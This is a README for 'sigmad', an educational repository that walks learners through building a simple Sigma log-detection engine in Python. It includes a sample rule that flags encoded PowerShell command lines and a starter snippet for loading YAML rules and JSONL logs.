sigmad — Build Your Own Sigma Rule Engine

sigmad is not just another tool — it's a learning lab.
This repo is designed to teach you how to build your own Sigma detection engine from scratch in Python.

What You'll Learn

• What Sigma is and how Sigma rules work
• How to parse YAML rule files
• How to read structured logs (JSONL, NDJSON)
• How to match log entries against detection rules
• How to structure a clean CLI tool

By the end, you'll have a working detection engine — and you'll understand exactly how it works under the hood.

What is Sigma?

Sigma is a generic signature format for log-based detections — think YARA for logs.

Instead of writing vendor-specific queries (like Splunk, Sentinel, Elastic), you define detection logic in YAML, and tools can convert or interpret them.

Learn more at: https://sigmahq.io

Project Goal

You'll build a simple CLI tool in Python that:

• Loads Sigma rules (.yml)
• Parses logs (.jsonl)
• Detects suspicious patterns
• Prints matched entries

What a Sigma Rule Looks Like

title: Obfuscated PowerShell (Base64 Encoded)
id: 123e4567-e89b-12d3-a456-426614174000
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine|contains:
      - '-enc'
      - '-encodedcommand'
  condition: selection
level: medium

Your Mission

Recreate the logic of a Sigma rule engine in Python.

Steps:

1. 📄 Load .jsonl log files line by line
2. 📂 Load and parse .yml Sigma rules using PyYAML
3. 🧮 Match rule conditions (start with |contains, |startswith)
4. 🧼 Print any matching logs with rule title

You can work inside the src/ folder or create your own.

Materials Provided

• logs/sample.jsonl — example logs
• rules/ — some real Sigma rules
• solution/ — a complete working implementation (peek only if you're stuck 😉)

Requirements

• Python 3.8+
• Install dependencies:

pip install -r requirements.txt

How to Start

Create a file like sigmad.py and begin coding.

Start with something like:

import yaml
import json

# Load a rule
with open("rules/powershell_encoded.yml") as f:
    rule = yaml.safe_load(f)

# Load logs
with open("logs/sample.jsonl") as f:
    for line in f:
        log = json.loads(line)
        # Check if rule matches

Tips

• Work step-by-step: start with one rule and one field
• Build functions: load_rule(), parse_log(), match_entry()
• Don't try to implement full Sigma logic — just start with |contains

Bonus Challenge

• Add support for multiple rules
• Add colored output
• Export matched logs to a JSON file

Solution

The full working implementation is available in the solution/ folder — only check it if you're blocked or after you've tried it yourself.

Happy coding!

Thanks for the contributors:

• @Sn0wAlice🎉